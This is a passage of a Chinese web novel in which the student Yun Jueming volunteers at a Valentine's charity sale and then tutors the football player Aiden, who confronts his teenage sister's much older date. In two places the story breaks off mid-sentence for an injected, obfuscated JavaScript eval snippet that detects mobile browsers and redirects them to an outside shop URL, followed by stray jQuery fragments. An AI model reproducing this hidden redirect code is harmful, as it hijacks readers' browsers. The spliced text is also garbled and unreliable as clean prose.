周末没有课,云决明通常会稍微起晚一点,睡到八点再起,这是他允许自己拥有的一点小小奢侈,至少能让平淡如水的日子多那么一点盼头——身体自动在六点叫醒自己的时候,发现还有两个小时能睡,多少都是一件值得开心的事。 但今天不同。 他一大早就得赶到学校,为今天的情人节慈善义卖做准备——为云决明提供全额奖学金的荣誉学生协会经常会举行这类活动,而且要求成员必须每年积累一定的慈善小时,这也是获得奖学金的条件之一。星期四收到荣誉协会统一发送的详情邮件,云决明才想起自己一个多月前的确登记了这个活动,表明自己会参加。 不过,活动到下午四点就会结束,不影响他晚上去给艾登当家教。 二十分钟以后,穿戴整齐,而且把要洗的衣服都整理出来的他抱着洗衣篮来到了楼下。 一楼很安静,从楼梯就能一眼看到厨房,灯是亮着的,但母亲不在那儿。 他疑惑地探头打量了几眼,才发现住在一楼的那个念护士专业的女生起来了,正坐在餐桌旁吃面包。“你怎么起来得这么早?”瞧见云决明,那女生也吃了一惊,“今天是星期六,你不是应该没课吗?” 他几乎没跟这个女生说过话。她能知道这一点,多半都是母亲告诉她的。 “学校有活动。”他简短地说了一句。母亲管这个女孩叫“小琦”,但他万万是喊不出这么亲密的称呼的,因此想尽可能地避免寒暄。眼见她手上的面包快要吃完了,他便先把洗衣篮放到洗衣房里去,仔细地把深色的衣服一件一件挑出来,放进洗衣机里去,剩余的就等他从学校回来以后再洗,他连床单,毛巾,桌布,还有窗帘都换了,恐怕要洗上好几轮才行。 他空手从洗衣房里出来的时候,发现对方还坐在餐桌旁,手里拿着的是另一块刚咬了两口的面包。他们面面相觑——当然,尴尬的多半是云决明,那女生估计只是被他看得浑身不舒服而已。 “我——我还有几块面包吃不下了,”她使劲把嘴里的面包咽下去,指了指袋子,“你不介意的话,可以帮我吃掉。” “不用了,谢谢。”云决明说道,往厨房走去。他的早餐万年不变,是母亲提前一天在电饭煲里定时煮好的粥。她总是声称放了盐,然而每次吃起来都寡淡无味,一开始云决明必须得辅佐以橄榄菜才能下咽,后来就习惯了,只是吃得少。 他打开电饭煲,却发现里面空空如也。 “家里没有米了,”似乎知道他在找什么,女生的声音在他身后响起,“阿姨昨天身体不舒服,所以没去买。住楼上的陈楚鸣说今天他下课会帮忙带回来。” 母亲身体不舒服?但她一句都没跟自己说。云决明转身打开冰箱,但他能找到的都是食材,没有什么是能在五分钟之内就准备好的。鸡蛋倒是有,但不是他的,放在楼上那个研究生专用的格子里。云决明不想不告而取。 “你要不就吃点面包将就一下吧。”那女生适时地开口了,“这个时间点,面包店和超市都没开门呢。” 云决明看了看手机,已经6:40了,他必须在8点以前赶到义卖的场地上,迟到了他的慈善小时就只能从九点开始算,“谢谢,”他低声说,给自己倒了杯水,挑选了餐桌上离对方最远的一个位置坐下,“我之后会买一袋面包还给你。” “客气什么,云阿姨平时很照顾我,这点小事就没必要还来还去了。”她将黄油也推到云决明面前,他没有拒绝,“对了,学校里今天有什么活动?” 云决明这才突然记起对方好像跟自己是同一个大学的,只是比自己年长两岁。 “情人节义卖。” “噢~我知道了,就是那个在体育场门口卖巧克力和鲜花的活动是吧。我跟你说,这个活动背后供应商的女儿曾经在我们学校就读过,所以每年捐赠给学校的巧克力和鲜花品质都很好,我的前男朋友也给我买过,确实味道不错。” 出于礼貌,云决明“嗯”了一声。 “我好像从来都没跟你说过话。” 确实,上次跟这个女生打招呼的时候,还是她刚搬进来不久时发生的事,那已经是四个月以前了。 “你在医院实习,平时都不在家,这很正常。”云决明说道。 “而且你的学习也很忙,有时我提早回家也见不到你。顺便说一句,我叫高谏琦——不确定你知不知道我叫什么。”高谏琦微笑了起来,她长得很可爱,笑起来会露出一颗虎牙,“我听云阿姨说你的成绩非常好,而且特别独立。申请U大还有全额奖学金都是你自己一手操办的,她一点没操心。我真的很佩服你,我出国的时候,这些事情都是由中介一手包办的,我什么都不懂。” 云决明又“嗯”了一声,他不知道要说什么。这种来自母亲的夸奖从别人口中听到让人觉得很奇怪,在他记忆里,母亲从来没肯定过他做的任何一件事。 “你的成绩这么好,当初怎么没申请一个更好的大学?” 他申请了,申请了C大和P大,还有几所其他的美国藤校及有名的公立大学。 但没有一所录取他。 没什么别的原因,只是因为他是华裔,华裔在大学录取上面临的竞争总是额外惨烈,而且他如实申报了自己的家庭情况,表示自己需要全额奖学金才能负担得起在州外上大学。 与其录取他,为什么不录取一个愿意自费出所有学费的中国留学生呢?亦或是一个将来会用肥厚支票回报母校的白人? 想通了这一点,云决明也就不再遗憾。 “U大排名也不错,而且是州立大学,学费有减免。”他平静地说道。 高谏琦若有所思地点了点头,便低头摆弄起了自己的手机。过了几秒钟云决明才愕然发觉这场谈话已经结束了,也许是因为他最近几天经常跟艾登发信息,下意识便觉得只要自己沉默不语,对方就会喋喋不休至他有回应为止。 但话又说回来,艾登的性格一点都不像其他那些典型的校园明星。 啃着手中的面包,云决明心想。 他没有接触过那些校园明星。在美国高中,像他这种厌恶交际,只会埋头学习的少数族裔基本可以类比印度种姓制度中的首陀罗,还不至于到贱民那般人人避之不及的地步,但也没有人会在意他。运动员和拉拉队员属于婆罗门,高高在上,在学校里拥有不可一世的话语权。这两个阶级之间天差地远,四年里彼此之间一句话都不太可能说上。但这不意味着他不了解这种人。 他们不可能表现得这么热情,适当的距离能让旁人觉得他们拥有充实的生活和享不尽的乐子,认为如此锲而不舍的给一个人发信息只会显得又绝望又急切,只有那种一个朋友都没有的人,才会干出来这种事。 可艾登不会给人这种感觉——至少云决明没这么认为。 他只觉得对方像一团火,灼热地在手机另一头燃烧,每次他触碰屏幕都能感受到那种温暖。艾登发来的消息虽多,却不会让人觉得厌烦,这大抵也是他的本事。 “Oh……my……god……”餐桌另一头的高谏琦突然低声夸张地惊呼了一句,还在沉思的云决明被她吓了一跳,吃惊地向她望去,“不好意思,”高谏琦赶紧解释了一句,“我只是被刚看到的消息吓到了。你知道艾登·维尔兰德吗?就是学校里特别有名的那个橄榄球四分卫,去年带领校橄榄球队打进了超级碗赛的那个人。” “我听说过他的名字。”云决明谨慎地回答道。 “他前两天在Instagram上多关注了一个人,我所在的一个微信群就炸了锅,一群女生绞尽脑汁想要找出来那是谁,我刚打开消息,就看见有个女孩说她通宵都在查那个账户的名字,所以我才……” 云决明拿着面包的手僵住了。 他就知道! 艾登要求关注他的账户时,他就隐隐约约猜到这种事情可能会发生。艾登的关注列表里一个女生都没有,只有四十多个人,除了明星和名人以外,其他都是他的橄榄球队队员和同学。 果然不该因为对方锲而不舍,就丢盔弃甲地放弃自己的立场。 “那个女孩……”他猛灌一大口水,含含糊糊地问道,借此来掩盖自己因为紧张而变得尖细的声音,“她找到了那个人是谁了吗?” “没有。”高谏琦瞥了一眼手机。 云决明松了一口气。 “我只是觉得这些女孩太疯狂了,”她这时已经吃完了,一边站起来收拾桌子,一边说道,“我要先跟你说明,这只是一个我听来的谣言,我不知道是不是真的——但是据说艾登的家庭其实很传统,他母亲希望他以后能和华人姑娘结婚,而且越早成家越好。所以她们都觉得只要自己能与艾登认识,就很有可能成为未来的维尔兰德夫人。” 云决明脑海里出现了一幕场景:穿着一身风度翩翩西装的艾登正挽着某个面容不清的女孩走下圣坛过道,那女孩有着一头乌黑的长发,穿着白色的旗袍,意外地很像哈利波特电影里的秋·张。 “这是什么微信群?”他问道,突然丧失了胃口,把面包胡乱塞进袋子里。手机上时间显示6:53,确实是时候该走了。 “就一个约州本地的华人女生群,”高谏琦扯了两张消毒湿巾,仔仔细细地把整张餐桌都擦了一遍。这个举动倒是让云决明对她有了些许好感,“大家平时没事在里面分享折扣,卖二手,或者约着去吃饭逛街什么,直到今天我才发现她们——” 她抬起头来,刚好和正在穿外套的云决明对视了一眼,高谏琦不好意思地笑了笑。 “哎呀,我耽误你出门了是不是?抱歉啊,只是刚好你就在这儿,我又觉得这事情实在不可思议,就多说了两句。你赶紧去学校吧,路上小心。” 她的语气很体贴,让他心微微一抖,某个熟悉的身影涌上心头,高中毕业舞会上放的Aerosmith的“不想错过任何事情”仿佛又在耳边回响。 不,停下。 “谢谢。”深吸一口气,云决明说道,想了想,他又加上了一句,“你也是。” 等红灯的时候,他掏出手机,打开了Instagram。果然,右上角的收信箱里显示着…的红点,说明他收到了超过一百条私信。他想点开来看看说了些什么,但信号灯转绿,他拐弯上了高速公路,一路都没有机会再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041184|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看手机。 还好,学校体育场的对面就是一个巨大无比的停车场,云决明来得又早,抢到了一个前排的停车位,走几步就到了举办慈善义卖的地方。他先在本子上签上了自己的名字和抵达的时间,才退后了一步,打量着义卖地点的布置。 这是从谁的新娘手册里照抄了一页的婚礼布置吗?他困惑地盯着眼前用无数薄纱与绸缎装点起来的架空帐篷,心想。甚至还有人用闪闪发光的金漆纸裁剪了一只丘比特,悬挂在顶端,四周还垂晃着不少粉红色的圆球。帐篷中间摆放了一张巨大的方桌,上面铺着白色帆布,有好几个女生正在那儿把巧克力盒子往上叠。 “你好,请问你是……?” 一把女声在他右边响起,云决明扭过头。他认出了眼前的这个中国女生,她是荣誉协会的副会长。他上学期刚入会的时候参加了竞选会议,听过这个女生演讲,知道她是中国留学生,高一的时候就来美国了。 她很漂亮,是那种无论是美国人还是中国人都会欣赏的精致美感。 “我叫云决明。”他改为用中文说道。 “好的,云决明……云决明……我看到了,你登记了参加今天的慈善活动。”她低头盯着手中的表格,“我现在手头有空缺的职位有好几个:在外面招揽顾客的,介绍我们这次慈善义卖的目的和善款去向的——这两个职位都需要能说中文的,你有兴趣吗?” 有没有不需要说话的?云决明很想这么问,但他只是摇了摇头。 “你会包装礼物和系蝴蝶结吗?”她又问道,似乎看穿了他的心思。 “会。” “那你就去后面包装玫瑰花吧。”她干脆地说道,接着又匆忙地向下一个人走去。 但帐篷的后头空空如也,连一枝花的影子都没瞧见。他折返回去询问了副会长,得知原本该送玫瑰花来的卡车因为没有提前申请临时许可,无法停在学校的停车场里,她已经派好几个男生去校外把玫瑰花运回来了,“应该一会就能到,”她看了看手机,“二十分钟前他们就过去了。你先去后面坐着等一会吧。” 云决明在折叠椅上坐下,这时,他才记起自己还没来得及看Instagram上因艾登而起的风波。刚打开app,手机就被一道颀长的身影所覆盖,“正在看我有没有更新吗,Ming?” 云决明猛地转身,却什么也没瞧见,只能闻见一点点淡淡的清香从另一边迅速掠过。艾登的到来惹起了一点骚乱,正在摆巧克力盒子的那几个女孩立刻窃窃私语起来,有一个甚至还偷偷掏出了手机。 “我在这儿呢,你在看什么?”已经拖了一把折叠椅在面前坐下的艾登懒洋洋地说道,伸手扳回了云决明的脸,后者因为这样突然的身体接触惊得身体往后一仰,差点连人带椅子摔倒,幸好艾登一把伸手扶住,“你怎么了?” 艾登今天穿的很随意,上身套了一件带学校logo的帽衫,下半身则是一条牛仔裤,脚上倒是穿着一双让任何男生都会垂涎三尺的限量AJ。云决明一共穿了三件衣服,包括一件厚厚的大衣,在清晨的寒风吹拂下仍然觉得很冷。眼前这人怕是用火做的吧?他心想。 “没什么——你怎么在这?” 闻言,艾登露出了笑容,一口洁白的牙齿跟见了太阳的吸血鬼皮肤似的闪闪发光。“我正准备去球场训练,就看见你坐在这儿,就想着过来跟你打个招呼。” 云决明突然记起了一件事。 “你让杰森直接退了社会学这门课,怎么不跟我说清楚?” 那天晚上他到家以后,才明白过来艾登短信中那句“别错过你的作业截止时间”的意思。杰森退课以后,他就变成了了小组项目的唯一负责人,所有的任务都将由自己完成,因此他得赶在11点前重新把作业再上传一次。 他都能想象艾登发这条短信时的坏笑。 “因为我知道以你的谨慎,肯定会在截止时间之前上去看看杰森是不是真的上传了作业。”他脸上果然绽开了和云决明想象中一模一样的坏笑,眉毛微微一挑,眼角如弯月凝聚,睫毛若隐若现,“这下,不是一劳永逸了吗?我也不想你宝贵的学习时间拿来帮杰森做作业。对了,一会想来看我训练吗?今天全天我都得待在体育场,恐怕要到下午六点才能走——教练对我们有很高的期望,希望下一个赛季能够延续辉煌。” 这就是为什么他在这天没有约会的原因吗?云决明疑惑地想着。不对,即便白天有事,他也可以晚上取消补习,出门享乐……但艾登还在笑眯眯地等着他给一个答复,“我要在这里帮助慈善义卖,”他说,决定放弃继续纠结这件事,“运气好卖得快的话,还得去图书馆做作业。” “那就不勉强了。”艾登拍了拍他的肩膀,站起身,“晚上见——糟了!她怎么在这?” 正准备离开的他突然转了半个身子,一脸尴尬。 云决明从他身后望去,只看见了站在不远处的副会长,正在指引几个抱着木箱的男生往帐篷这儿走来。他突然明白了什么,“前女友?”他问道。 艾登点了点头。“她没看到我吧?” “没有。”副会长的全副心思都在那些搬运玫瑰花的男生身上,她拦下了其中一个,正在仔细检查木箱里的花朵。 “很好,那我们今晚见。” 说完,艾登就一溜烟跑了。 8. Chapter·Eight 艾登透过窗帘,皱着眉头盯着门外。 几分钟前,眼看着马上要七点了,艾登走下楼来,正准备去帮云决明打开前院的雕花大门,就看见母亲站在家门边,手指撩起薄纱窗帘一角,正不安地瞧着窗户外面。 “妈,怎么了?”他随口问了一句。 “有个男人站在我们家外面,已经好一会了。” “那多半是云决明,”艾登漫不经心地说道,“他发短信给我,要求提前上课的时间,所以他今天会早点来。我这就去给他开门。” 妈妈回头看了他一眼,微嗔道,“傻儿子,如果那是云决明,我早就让他进来了。再说了,哪个家教过来补习还会带一束娇艳的粉红玫瑰花束?” 艾登一个箭步冲到窗边,“该死的,”他看着门外的那个陌生人,喃喃地说道,随即就因为说粗口被妈妈瞪了一眼,“他肯定就是艾莉提到过的那个情人节约会对象。” “可他看着年纪还挺大的,”妈妈的神色登时就阴沉了下来,“我还以为他只是走错门了。” “交给我来处理,妈。”艾登轻声说,妹妹还在楼上没下来,估计仍在梳妆打扮,这意味着他还有几分钟的时间可以利用。最近妈妈和妹妹的关系有些紧张,艾登宁愿让妹妹把怒气撒在自己身上,也不愿她在冲动下说了什么伤害母亲的话。 “可是——”妈妈有些不放心。 “交给我就行了。”艾登将她拉开,吹了声口哨。洛克希应声而来,尾巴摇得颇欢。 “上。”他打开门,轻声对洛克希说道,大狗呜地一声就冲了出去。跃下台阶,沿着车道向白色雕花大门奔去。一个二十多岁的陌生人正站在门外,手中抱着一束怒放的粉红玫瑰花,打扮得人模狗样。 瞧见洛克希,他高兴地蹲下来,以为大狗是要给自己一个热情的欢迎。但洛克希在距离他几步远的地方刹住了脚步,嘴唇外掀,露出了粗大的犬牙,喉咙里发出不高兴的低吼声。 一只足足有一百三十磅重的罗威纳犬一脸不善地瞪着你的时候,还是颇有威慑力的。 果然,陌生人立刻吓得向后倒退了两步。门后的艾登看着好笑,甚至有些幸灾乐祸。 他迆迆然地出了门,双手插在口袋里,不紧不慢地走到对方面前。“洛克希,坐。”他喊道,摸了摸大狗的头,后者乖乖地矮下了屁股,但双眼一刻也没离开过陌生来客。“你好,我叫艾登。”他皮笑肉不笑地伸出了手,“我相信我妹妹艾莉一定跟你提到过我。” “她的确提到过一两句。”陌生人与他握了握手,龇牙咧嘴地说道。艾登使了点劲,松开的时候,对方的手掌都红了,“我叫奥斯丁。” 艾登根本不在乎他叫什么。 “告诉我,你多大了?”他挑剔地上下打量着对方。 “至少还没有老到不能成为艾莉的约会对象。”对方试图避开这个问题,他的语气很圆滑,一看就是情场老手。艾登哼了一声,洛克希跟着发出了一声响亮的犬吠,逼得对方又倒退了一步,“你这条狗经过训练了吗?”他小心翼翼地问道。 “艾登?” 艾登偏过头,云决明就站在不远处,疑惑地打量着眼前的一幕。他全副心思都放在应付眼前这个一看就居心不良的男人身上,都没察觉云决明是什么时候停好了车过来的。 “需要我改天再来吗?”云决明谨慎地开口了,他的视线停留在那束粉红玫瑰花上。 “你误会了,我只是——”那男人刚想解释,艾登一伸手就把他推了个趔趄,打断了他的话——“他正要离开。”艾登不客气地说道,“他找错地址了。” “不,我没有——” 话还没说完,艾登就揪住了他的围巾。这个男人也不矮,但是在艾登六尺两寸(188cm)的身高下还是弱了一截,在力气上更是无法媲美,只这一下,就喘不过气来了。他又推又掰,拼命想要挣脱,却无济于事。 “给我听好了,你这个专门找高中女生下手的,厚颜无耻恶心至极猥琐懦弱的SOB,你再敢哪怕是远远看我妹妹一眼,甚至是跟她说上一句话,或者是给她发一条信息,”艾登咬牙切齿地在他耳边说道,“我会在法律允许的范围内让你尝尝生不如死的滋味——相信我,我知道很多种方式。” 他松开手,男人立刻开始大口喘气,连连咳嗽。“别让我叫洛克希送客,”艾登轻蔑地说道,“你的西裤看着不错,要是变成布条可就太可惜了。” 男人落荒而逃。 云决明这才走上来——洛克希有点警惕地打量着他,但好歹没有咆哮,也没有摆出要进攻的姿态。 “进去吗?”云决明表现得就像是刚才什么事也没发生,甚至没有问上一句——这反而是艾登觉得他有意思的地方。 “进去。”艾登笑了起来,“再不进去,你就要冻僵了。” 他这话不假,云决明本来肤色就苍白,这会鼻头脸颊都像上了四五层腮红一样红通通的,浑身都在微微颤抖——但他明明穿得挺多的,黑色大衣下是一件灰色的高领毛衣,还挂着一条白色的羊绒围巾。艾登突然记起前几次见到他时似乎也是这样的打扮,只是毛衣的款式和颜色略有不同。 走到门前时,云决明的脚步迟疑了。“你们家贴了对联。”他轻声说,就好像这是什么值得惊奇的事情一般。艾登敏锐地抓住了他眼中一闪而过的羡慕。 “再过几天就是春节了啊。”艾登挠了挠头,“你家还没贴吗?” “这不像是超市里买的那种。”云决明避开了他的视线。 “这是我奶奶写的,她特别传统,看不上超市里卖的那些,”他说道,“但我忘了她写了什么——她告诉我两次了,但我实在记不住。进来吧。” 门一打开,洛克希就飞快地冲了进去,他没踩到积雪,爪子还是干的,艾登也懒得把他叫回来擦脚。“你来得挺早的,吃饭了吗?”他一边踢掉室外拖鞋,一边问道,“我的爷爷奶奶出去过情人节了,他们两个一把年纪了还喜欢玩浪漫,我妈就随便做了点——” 艾登突然住口了,他全身上下的每个器官都因为不悦而紧紧地抿了起来,包括他的嘴唇。 刚换好鞋的云决明愣了愣,也扭头顺着他的视线望去。 “干嘛?” 站在门厅与会客厅接壤处的艾莉冷冷地问道。她赤着脚,一只手上提着一双高跟长靴,另一只手则抓着小包。不用说,是为了不惊动妈妈好溜出去。 她穿着一条贴身的黑色短裙——显然是专门找人改过的,每寸布料都紧紧地绷在肌肤上,艾登怀疑她要是多喝一口水,裙子都会直接崩裂开来。也许是发现云决明也在看她,她不悦地把外面罩着的风衣裹紧了,“别拦路,我还有事。” “要不我先去地下室……”云决明小声提议道,但艾登已经顾不上他了。“艾莉西娅·维尔兰德,你哪儿都别想去。”他低声吼道,一巴掌把门推关上了,“上楼给我换衣服去。你才十五岁,看在上帝的份上,为什么要把自己打扮得就像一个——一个——” 他噎住了,不愿对亲妹妹说出自己内心的真实想法。 艾莉冷笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041185|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走上前来,她继承了父亲的容貌,尤其是他那双灰色眼眸。 “我不去。”她轻声说,“你能把我怎么样?妈已经同意了我今晚出去约会。” “不是跟比你大了十岁还不止的男人。”艾登想去拿她手上的靴子,却被她一抬手躲开了。“听着,”艾登强迫自己咽下怒气,将语气放温柔到极致,“我已经把他打发走了。他根本不适合你,我可以接受你和差不多年龄的男生出去约会,我甚至会亲自开车送你去——” “你凭什么把他打发走?”不出所料,艾莉爆发了。但她的愤怒从不是大吼大叫那种,相反,她会显得极其冷静,只是声音突然变得低沉。 “因为他就是一个专门引诱未成年少女的混蛋,什么样的男人会跟一个比自己小十多岁,才不过十五岁的女孩出去约会?” “噢,你又知道这一点了?用你那两个夏天在FBI学到的那么一点可怜的狗屁侧写知识推测出来的?”艾莉嗤笑了一声,“他根本不知道我的真实年纪,你这个蠢货,他以为自己要跟一个大学生约会,好吗?别再插手我的约会了,你自己也不是什么好鸟。” “我不管,”艾登一把抓住她想要打开门的手,“我不管他以为你多大了。你只有十五岁,你还住在这儿,你就必须听我的话,上楼去换衣服,等你找到一个年龄适宜的男朋友,还有一条尺寸和长度适宜的裙子,再下来。” “所以你宁愿让个十七岁的,满脑子只有精虫的高中生在他破旧的二手车里对我上下其手,心急火燎地想要把我压倒在后座上,也不愿意让我和一个心智成熟,懂得尊重女性,只想请我吃一顿饭的男人出去约会。” “就你穿的这条裙子,十七岁和二十七岁的男人在你面前的表现不会有任何差别。我不想在客人面前让你难堪,艾莉,请你上楼去把衣服换了,把妆卸了——” “怎么了?” 还系着围裙的妈妈走进会客厅,开口了。她的视线不动声色地上下打量着艾莉,眼里明显闪过了一丝怒气。艾登抢在她对妹妹说什么以前开口了,“没什么,”他挤出了一个笑容,“我只是在告诉艾莉她的约会对象爽约了。” 唯一能听到他们吵架内容的只有云决明,他和妹妹的声音都压得很低。 “云决明,你好啊。”母亲的语气虽然温和,却隐隐有一丝威严,明显是在提醒他们两个,还有客人在场,“你吃晚饭了吗?” 云决明点了点头。 “我去地下室等你。”似乎是怕没能抓住这一空隙,他飞快而且含糊地说了一句,拿起书包就想走。 “今天去楼上学习,”艾登赶紧叫住云决明,“我的爷爷奶奶出门了,不必担心吵着他们。”他给了妹妹警告的一瞥,“要不你带他上楼去吧,艾莉,反正你也要回自己房间,不是吗?” 他与艾莉之间眼神的交战无声地延续了几秒,艾登的手上微微用了一点力气——我不介意亲自把你扛上楼,并且把你丢进你的房间里。他用坚决的目光表明了这一点,但妹妹只是始终讥讽地看着他,一双熟悉的灰色眼眸,却有着陌生的冷漠。 “你不是爸爸,艾登,无论你怎么试图扮演他的角色,你都不是。我宁愿死去的是你,而不是爸爸。” 她丢下这句话,转身走了。云决明尴尬得满脸通红,拎着书包站在原地,跟上去又不是,不跟上去又不是。 “艾登,你去把你的房间收拾一下。”妈妈平静地出声了,“云决明,你来厨房帮我一下好吗?艾登总是笨手笨脚的,我不放心把一些琐事交给他做,麻烦你了。” 9. Chapter·Nine “我妈妈跟你说了我爸爸的事,是不是?” 艾登的房门是虚掩着的,云决明轻轻推开,就瞧见一个浅棕色的毛茸脑袋躺在自己脚前,栗子色的眼睛向上瞥去,静静地望着他。 “是的。” 云决明转身将房门关上。想了想,他也跟着在地毯上盘腿坐了下来,书包脱在一边。艾登的手臂就在距离他膝盖不到五厘米的地方。 艾登的房间和他在地下室拥有的那个秘密基地画风完全不同,这是个宽敞的套间,占了三楼的一半面积。一进门,便能看到满墙的各式奖杯,和悬挂在玻璃柜里的球服和橄榄球装备并列放在一起。左边是一排塞得满满当当的书架,右边则是一水的运动器材,从哑铃到腹肌轮一应俱全。中间是张宽大的书桌,作业和笔记本电脑胡乱摆在上面。 艾登就倒在书桌前,双手双脚呈大字型摊着,还好房间里有暖气,地毯又厚实,才不觉得寒冷。 书房与卧室是连通的,中间没有门,只有一道拱形的门廊。从云决明这个角度望去,刚好可以看见宽敞的大床一角,以及一张舒适的扶手软椅,摆在床边。 书房的另一边有一扇木门紧闭,云决明猜测那多半是盥洗室。 “她说什么了?” “她告诉我,十年前,你的父亲去世了,他是被谋杀的。”其实艾登妹妹的话就已经表明了这一点,“她希望我知晓了这一点以后,能够谅解你适才粗鲁的表现,还有你的妹妹较为出格的……打扮。” ——“自从理查德逝世以后,他就认为自己多了一份责任,必须要替他死去的父亲好好保护母亲和妹妹,他不能让我或艾莉出一点点差错,否则,他就无颜面对理查德,无颜面对他的父亲给他留下的那些美好回忆。这个想法深深扎根进了他的心中,无论是我,他的爷爷奶奶,还是心理医生,都无法撼动分毫。” 祝阿姨方才如此告诉他。当时,她神色中藏着的悲伤太沉重,太浓郁,像是深深刻进石头里的墓志铭一样一笔一划地刻进了她的五官,叫云决明既不敢直视,也无法分担。 “因为她不想让你觉得我们家是那种会在客人面前争吵的家庭,不想让你觉得我是个强硬而且不讲道理的哥哥,也不想让你认为我的妹妹是那种放荡又毫无原则的女孩。”艾登的声音里带着浓浓的疲倦,“维护这个家族的体面对她,还有对我的爷爷奶奶来说,都很重要。” 云决明不这么觉得,但他知道凭自己一句话是无法说服艾登的。 “很抱歉让你白跑一趟,但我现在真的没有任何心情补习统计学。别担心,我会照样付给你这个小时的补习费的。” 换做面前是任何人,听见这么直接的逐客令,云决明都会直接离开。 “十年前,艾莉才五岁,对吧。” 他不清楚自己为什么还坐在地上没动,甚至擅自地把这段对话继续了下去。 艾登和他认识才刚过一周,只寥寥见过几面,无论如何,交情似乎都没到让他能插手对方家庭琐事的地步。 “对于那个年纪的女孩来说,父亲之于她,就大概像是拯救世界的英雄,无所不能的超人,顶天立地的支柱,既是她的群山,也是她的繁星。” 即便他们之间的交情好到了那个地步,云决明多数时候也只会觉得这些事与自己无关,早点回家还能多看一会书,何乐而不为。 “所以,对幼年就失去这样依靠的艾莉来说,你们的父亲在她心中会一直保持那个完美的形象,不会老去。她不会意识到自己父亲也只是个普通人,也看不到他作为一个成熟稳重父亲背后拥有的七情六欲。有研究显示,幼年丧父,或者在成长时期缺乏父亲关爱的女孩,会比同龄人早熟很多,叛逆期更早更长,也更棘手。” 也许是因为,他发现,原来璀璨温暖得像团永远不会熄灭的焰火的艾登,也会因为自己妹妹一句话痛苦至斯。 也许是因为,祝阿姨是如此温柔的一个母亲形象。她提起丈夫死亡对两个孩子带来的打击时,云决明分明瞧见她眼中有泪光粼粼,最终却还是被坚强的面具掩盖,仿佛眼泪是顺着血肉淌下。那一刹那,她的面容与送他去机场的小姨隐约重合——小姨全程没有掉一颗眼泪,那时的云决明却恍惚觉得她在恸哭不止。 这微妙的瞬间,让他想为祝阿姨做点什么,哪怕只是安慰艾登一句。 “她不会让任何人取代他的位置,也没有人能填补他留在艾莉心中的缺憾。所以,当你试图以一家之主的身份教训她的时候,就会让她很愤怒,”特别你说话还挺不客气的。云决明心想,但他还不至于蠢到说出口,“你这么做伤害到了她,伤害到了你们父亲在她心中的印象,因此她也要反过来,用同样的手段报复你。我想,这就是为什么她会那么说的原因,但不代表她真的是那么想的。” 艾登长长吁了一口气,这立刻让云决明紧张了起来。 “这——这是我的猜测而已……” 完了,他让艾登生气了—— “我想,这还是我第一次听见你用这么正常的速度说出这么长的一番话。” 正想起身,以艾登见到前女友时的速度飞快逃窜的云决明僵住了。 “我的朋友们——说到朋友,我指的是橄榄球队队员,还有我的同学,就是平时跟我玩得不错的那批人。基本上,你在杰森派对上见到的那些人,都算是我的朋友,认识了很久的朋友。” 艾登露出一点若有似无的笑意。 云决明突然发现,他神色寂寥的时候,竟然与尊龙有几分相似。 “说回来——我的朋友们,他们或多或少也知道我父亲的事,毕竟当时还上了报纸,也算是这个宁静小镇上难得的一件大新闻了。偶尔,我也会跟他们谈上一两句这件事给我的家庭带来的影响,谈谈我的妹妹,谈谈我的爷爷奶奶,谈谈我的妈妈,谈谈我的痛苦,但他们都……” “嗯?” “他们的反应都很类似,‘我很抱歉听见你这么说’,拍拍我的肩膀,再来两句激励的话,‘兄弟,这都会过去的’,‘坚强起来,你这样像什么男人?’,‘一切都会好起来的,伙计,你等着瞧’,一类的。这么做了以后,他们觉得身为朋友的义务就尽到了,于是生活又回到了那些轻松愉快的主题当中去,派对,女人,酒精,泳池,飙车,游戏人间。” 艾登从地毯上支起身子,发出了一声滑稽的鼻哼。 “他们觉得那样可以帮我遗忘伤痛,其实是他们不愿意面对,”他的声音放低了,温柔得好似雨水在百年老木上洗刷的声响,“只有你试图来理解我。” 云决明不由自主地微微颤抖了一下。 “谢谢你,Ming。” 这没什么的,云决明很想说,比起你对我生活造成的影响,我说的几句话其实不值一提。 今天的义卖结束后,他终于有机会看了看自己在Instagram上收到的一百多条私信。 “嘿~你好吗?” “你叫什么名字?你也是U大的吗?” “你是谁?你和艾登是怎么认识的?” “也许有空你想出来喝杯咖啡吗?我的朋友们都很想认识你。” “艾登,是你吗?” “你也在橄榄球队吗?” 不止如此,他的Instagram上还一下子涌入了五百多名关注者。 一开始,云决明是厌烦的。 那些标红的未读私信让他产生了生理上的不适,握着手机的他当即感受到了一阵晕眩,仿佛正有上百个入侵者打算进入他的生活一般,甚至让他有了想要删掉自己的账户的想法。 但最初的慌乱褪去后,他突然又觉得有些荒谬,甚至觉得有点可笑。 他既不是艾登的地下情人,也不是一个身份需要保密的朋友。一旦那些人发觉他不过是艾登的家教,对他的关注很快就会散去,他其实没有什么好担心的。 意识到了这一点后,云决明反而奇妙地有了一点小小虚荣心膨胀带来的快乐。 他已经很多年没有这种感觉了,几乎要记不起那是什么滋味。 在国内的时候,他是班长,是老师的宠儿,是全年级学习成绩最好的那个学生,是□□空间随便发一条状态就能收获上百条留言的人气王。总有外班的女孩在课室门口探头探脑地寻找他的身影,总有一帮好友会陪着他走完放学回家的路。□□上总有回不完的消息,时不时就弹出的好友申请。无论他做什么,振臂一呼,总有百人响应。 